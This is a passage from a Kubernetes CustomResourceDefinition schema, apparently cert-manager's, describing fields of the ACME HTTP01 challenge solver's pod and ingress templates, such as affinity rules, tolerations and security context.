                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        matchLabelKeys:
                                                          description: |-
                                                            MatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                            Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        mismatchLabelKeys:
                                                          description: |-
                                                            MismatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                            Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        namespaceSelector:
                                                          description: |-
                                                            A label query over the set of namespaces that the term applies to.
                                                            The term is applied to the union of the namespaces selected by this field
                                                            and the ones listed in the namespaces field.
                                                            null selector and null or empty namespaces list means "this pod's namespace".
                                                            An empty selector ({}) matches all namespaces.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        namespaces:
                                                          description: |-
                                                            namespaces specifies a static list of namespace names that the term applies to.
                                                            The term is applied to the union of the namespaces listed in this field
                                                            and the ones selected by namespaceSelector.
                                                            null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        topologyKey:
                                                          description: |-
                                                            This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                            the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                            whose value of the label with key topologyKey matches that of any node on which any of the
                                                            selected pods is running.
                                                            Empty topologyKey is not allowed.
                                                          type: string
                                                      required:
                                                      - topologyKey
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                            type: object
                                          imagePullSecrets:
                                            description: If specified, the pod's imagePullSecrets
                                            items:
                                              description: |-
                                                LocalObjectReference contains enough information to let you locate the
                                                referenced object inside the same namespace.
                                              properties:
                                                name:
                                                  default: ""
                                                  description: |-
                                                    Name of the referent.
                                                    This field is effectively required, but due to backwards compatibility is
                                                    allowed to be empty. Instances of this type with an empty value here are
                                                    almost certainly wrong.
                                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                                  type: string
                                              type: object
                                              x-kubernetes-map-type: atomic
                                            type: array
                                          nodeSelector:
                                            additionalProperties:
                                              type: string
                                            description: |-
                                              NodeSelector is a selector which must be true for the pod to fit on a node.
                                              Selector which must match a node's labels for the pod to be scheduled on that node.
                                              More info: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/
                                            type: object
                                          priorityClassName:
                                            description: If specified, the pod's priorityClassName.
                                            type: string
                                          securityContext:
                                            description: If specified, the pod's security
                                              context
                                            properties:
                                              fsGroup:
                                                description: |-
                                                  A special supplemental group that applies to all containers in a pod.
                                                  Some volume types allow the Kubelet to change the ownership of that volume
                                                  to be owned by the pod:

                                                  1. The owning GID will be the FSGroup
                                                  2. The setgid bit is set (new files created in the volume will be owned by FSGroup)
                                                  3. The permission bits are OR'd with rw-rw----

                                                  If unset, the Kubelet will not modify the ownership and permissions of any volume.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              fsGroupChangePolicy:
                                                description: |-
                                                  fsGroupChangePolicy defines behavior of changing ownership and permission of the volume
                                                  before being exposed inside Pod. This field will only apply to
                                                  volume types which support fsGroup based ownership(and permissions).
                                                  It will have no effect on ephemeral volume types such as: secret, configmaps
                                                  and emptydir.
                                                  Valid values are "OnRootMismatch" and "Always". If not specified, "Always" is used.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                type: string
                                              runAsGroup:
                                                description: |-
                                                  The GID to run the entrypoint of the container process.
                                                  Uses runtime default if unset.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence
                                                  for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              runAsNonRoot:
                                                description: |-
                                                  Indicates that the container must run as a non-root user.
                                                  If true, the Kubelet will validate the image at runtime to ensure that it
                                                  does not run as UID 0 (root) and fail to start the container if it does.
                                                  If unset or false, no such validation will be performed.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence.
                                                type: boolean
                                              runAsUser:
                                                description: |-
                                                  The UID to run the entrypoint of the container process.
                                                  Defaults to user specified in image metadata if unspecified.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence
                                                  for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              seLinuxOptions:
                                                description: |-
                                                  The SELinux context to be applied to all containers.
                                                  If unspecified, the container runtime will allocate a random SELinux context for each
                                                  container.  May also be set in SecurityContext.  If set in
                                                  both SecurityContext and PodSecurityContext, the value specified in SecurityContext
                                                  takes precedence for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                properties:
                                                  level:
                                                    description: Level is SELinux
                                                      level label that applies to
                                                      the container.
                                                    type: string
                                                  role:
                                                    description: Role is a SELinux
                                                      role label that applies to the
                                                      container.
                                                    type: string
                                                  type:
                                                    description: Type is a SELinux
                                                      type label that applies to the
                                                      container.
                                                    type: string
                                                  user:
                                                    description: User is a SELinux
                                                      user label that applies to the
                                                      container.
                                                    type: string
                                                type: object
                                              seccompProfile:
                                                description: |-
                                                  The seccomp options to use by the containers in this pod.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                properties:
                                                  localhostProfile:
                                                    description: |-
                                                      localhostProfile indicates a profile defined in a file on the node should be used.
                                                      The profile must be preconfigured on the node to work.
                                                      Must be a descending path, relative to the kubelet's configured seccomp profile location.
                                                      Must be set if type is "Localhost". Must NOT be set for any other type.
                                                    type: string
                                                  type:
                                                    description: |-
                                                      type indicates which kind of seccomp profile will be applied.
                                                      Valid options are:

                                                      Localhost - a profile defined in a file on the node should be used.
                                                      RuntimeDefault - the container runtime default profile should be used.
                                                      Unconfined - no profile should be applied.
                                                    type: string
                                                required:
                                                - type
                                                type: object
                                              supplementalGroups:
                                                description: |-
                                                  A list of groups applied to the first process run in each container, in addition
                                                  to the container's primary GID, the fsGroup (if specified), and group memberships
                                                  defined in the container image for the uid of the container process. If unspecified,
                                                  no additional groups are added to any container. Note that group memberships
                                                  defined in the container image for the uid of the container process are still effective,
                                                  even if they are not included in this list.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                items:
                                                  format: int64
                                                  type: integer
                                                type: array
                                              sysctls:
                                                description: |-
                                                  Sysctls hold a list of namespaced sysctls used for the pod. Pods with unsupported
                                                  sysctls (by the container runtime) might fail to launch.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                items:
                                                  description: Sysctl defines a kernel
                                                    parameter to be set
                                                  properties:
                                                    name:
                                                      description: Name of a property
                                                        to set
                                                      type: string
                                                    value:
                                                      description: Value of a property
                                                        to set
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          serviceAccountName:
                                            description: If specified, the pod's service
                                              account
                                            type: string
                                          tolerations:
                                            description: If specified, the pod's tolerations.
                                            items:
                                              description: |-
                                                The pod this Toleration is attached to tolerates any taint that matches
                                                the triple <key,value,effect> using the matching operator <operator>.
                                              properties:
                                                effect:
                                                  description: |-
                                                    Effect indicates the taint effect to match. Empty means match all taint effects.
                                                    When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                                  type: string
                                                key:
                                                  description: |-
                                                    Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                                    If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                                  type: string
                                                operator:
                                                  description: |-
                                                    Operator represents a key's relationship to the value.
                                                    Valid operators are Exists and Equal. Defaults to Equal.
                                                    Exists is equivalent to wildcard for value, so that a pod can
                                                    tolerate all taints of a particular category.
                                                  type: string
                                                tolerationSeconds:
                                                  description: |-
                                                    TolerationSeconds represents the period of time the toleration (which must be
                                                    of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                                    it is not set, which means tolerate the taint forever (do not evict). Zero and
                                                    negative values will be treated as 0 (evict immediately) by the system.
                                                  format: int64
                                                  type: integer
                                                value:
                                                  description: |-
                                                    Value is the taint value the toleration matches to.
                                                    If the operator is Exists, the value should be empty, otherwise just a regular string.
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                    type: object
                                  serviceType:
                                    description: |-
                                      Optional service type for Kubernetes solver service. Supported values
                                      are NodePort or ClusterIP. If unset, defaults to NodePort.
                                    type: string
                                type: object
                              ingress:
                                description: |-
                                  The ingress based HTTP01 challenge solver will solve challenges by
                                  creating or modifying Ingress resources in order to route requests for
                                  '/.well-known/acme-challenge/XYZ' to 'challenge solver' pods that are
                                  provisioned by cert-manager for each Challenge to be completed.
                                properties:
                                  class:
                                    description: |-
                                      This field configures the annotation `kubernetes.io/ingress.class` when
                                      creating Ingress resources to solve ACME challenges that use this
                                      challenge solver. Only one of `class`, `name` or `ingressClassName` may
                                      be specified.
                                    type: string
                                  ingressClassName:
                                    description: |-
                                      This field configures the field `ingressClassName` on the created Ingress
                                      resources used to solve ACME challenges that use this challenge solver.
                                      This is the recommended way of configuring the ingress class. Only one of
                                      `class`, `name` or `ingressClassName` may be specified.
                                    type: string
                                  ingressTemplate:
                                    description: |-
                                      Optional ingress template used to configure the ACME challenge solver
                                      ingress used for HTTP01 challenges.
                                    properties:
                                      metadata:
                                        description: |-
                                          ObjectMeta overrides for the ingress used to solve HTTP01 challenges.
                                          Only the 'labels' and 'annotations' fields may be set.
                                          If labels or annotations overlap with in-built values, the values here
                                          will override the in-built values.
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            description: Annotations that should be
                                              added to the created ACME HTTP01 solver
                                              ingress.
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            description: Labels that should be added
                                              to the created ACME HTTP01 solver ingress.
                                            type: object
                                        type: object
                                    type: object
                                  name:
                                    description: |-
                                      The name of the ingress resource that should have ACME challenge solving
                                      routes inserted into it in order to solve HTTP01 challenges.
                                      This is typically used in conjunction with ingress controllers like
                                      ingress-gce, which maintains a 1:1 mapping between external IPs and
                                      ingress resources. Only one of `class`, `name` or `ingressClassName` may
                                      be specified.
                                    type: string
                                  podTemplate:
                                    description: |-
                                      Optional pod template used to configure the ACME challenge solver pods
                                      used for HTTP01 challenges.
                                    properties:
                                      metadata:
                                        description: |-
                                          ObjectMeta overrides for the pod used to solve HTTP01 challenges.
                                          Only the 'labels' and 'annotations' fields may be set.
                                          If labels or annotations overlap with in-built values, the values here
                                          will override the in-built values.
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            description: Annotations that should be
                                              added to the created ACME HTTP01 solver
                                              pods.
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            description: Labels that should be added
                                              to the created ACME HTTP01 solver pods.
                                            type: object
                                        type: object
                                      spec:
                                        description: |-
                                          PodSpec defines overrides for the HTTP01 challenge solver pod.
                                          Check ACMEChallengeSolverHTTP01IngressPodSpec to find out currently supported fields.
                                          All other fields will be ignored.
                                        properties:
                                          affinity:
                                            description: If specified, the pod's scheduling
                                              constraints
                                            properties:
                                              nodeAffinity:
                                                description: Describes node affinity
                                                  scheduling rules for the pod.
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: |-
                                                        An empty preferred scheduling term matches all objects with implicit weight 0
                                                        (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                      properties:
                                                        preference:
                                                          description: A node selector
                                                            term, associated with
                                                            the corresponding weight.
                                                          properties:
                                                            matchExpressions:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's labels.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchFields:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's fields.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        weight:
                                                          description: Weight associated
                                                            with matching the corresponding
                                                            nodeSelectorTerm, in the
                                                            range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - preference
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to an update), the system
                                                      may or may not try to eventually evict the pod from its node.
                                                    properties:
                                                      nodeSelectorTerms:
                                                        description: Required. A list
                                                          of node selector terms.
                                                          The terms are ORed.
                                                        items:
                                                          description: |-
                                                            A null or empty node selector term matches no objects. The requirements of
                                                            them are ANDed.
                                                            The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                          properties:
                                                            matchExpressions:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's labels.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchFields:
                                                              description: A list
                                                                of node selector requirements
                                                                by node's fields.
                                                              items:
                                                                description: |-
                                                                  A node selector requirement is a selector that contains values, a key, and an operator
                                                                  that relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: The
                                                                      label key that
                                                                      the selector
                                                                      applies to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      Represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      An array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. If the operator is Gt or Lt, the values
                                                                      array must have a single element, which will be interpreted as an integer.
                                                                      This array is replaced during a strategic merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    required:
                                                    - nodeSelectorTerms
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                type: object
                                              podAffinity:
                                                description: Describes pod affinity
                                                  scheduling rules (e.g. co-locate
                                                  this pod in the same node, zone,
                                                  etc. as some other pod(s)).
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: The weights of
                                                        all of the matched WeightedPodAffinityTerm
                                                        fields are added per-node
                                                        to find the most preferred
                                                        node(s)
                                                      properties:
                                                        podAffinityTerm:
                                                          description: Required. A
                                                            pod affinity term, associated
                                                            with the corresponding
                                                            weight.
                                                          properties:
                                                            labelSelector:
                                                              description: |-
                                                                A label query over a set of resources, in this case pods.
                                                                If it's null, this PodAffinityTerm matches with no Pods.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            matchLabelKeys:
                                                              description: |-
                                                                MatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                                Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            mismatchLabelKeys:
                                                              description: |-
                                                                MismatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                                Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            namespaceSelector:
                                                              description: |-
                                                                A label query over the set of namespaces that the term applies to.
                                                                The term is applied to the union of the namespaces selected by this field
                                                                and the ones listed in the namespaces field.
                                                                null selector and null or empty namespaces list means "this pod's namespace".
                                                                An empty selector ({}) matches all namespaces.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            namespaces:
                                                              description: |-
                                                                namespaces specifies a static list of namespace names that the term applies to.
                                                                The term is applied to the union of the namespaces listed in this field
                                                                and the ones selected by namespaceSelector.
                                                                null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            topologyKey:
                                                              description: |-
                                                                This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                                the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                                whose value of the label with key topologyKey matches that of any node on which any of the
                                                                selected pods is running.
                                                                Empty topologyKey is not allowed.
                                                              type: string
                                                          required:
                                                          - topologyKey
                                                          type: object
                                                        weight:
                                                          description: |-
                                                            weight associated with matching the corresponding podAffinityTerm,
                                                            in the range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - podAffinityTerm
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to a pod label update), the
                                                      system may or may not try to eventually evict the pod from its node.
                                                      When there are multiple elements, the lists of nodes corresponding to each
                                                      podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                                    items:
                                                      description: |-
                                                        Defines a set of pods (namely those matching the labelSelector
                                                        relative to the given namespace(s)) that this pod should be
                                                        co-located (affinity) or not co-located (anti-affinity) with,
                                                        where co-located is defined as running on a node whose value of
                                                        the label with key <topologyKey> matches that of any node on which
                                                        a pod of the set of pods is running
                                                      properties:
                                                        labelSelector:
                                                          description: |-
                                                            A label query over a set of resources, in this case pods.
                                                            If it's null, this PodAffinityTerm matches with no Pods.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        matchLabelKeys:
                                                          description: |-
                                                            MatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
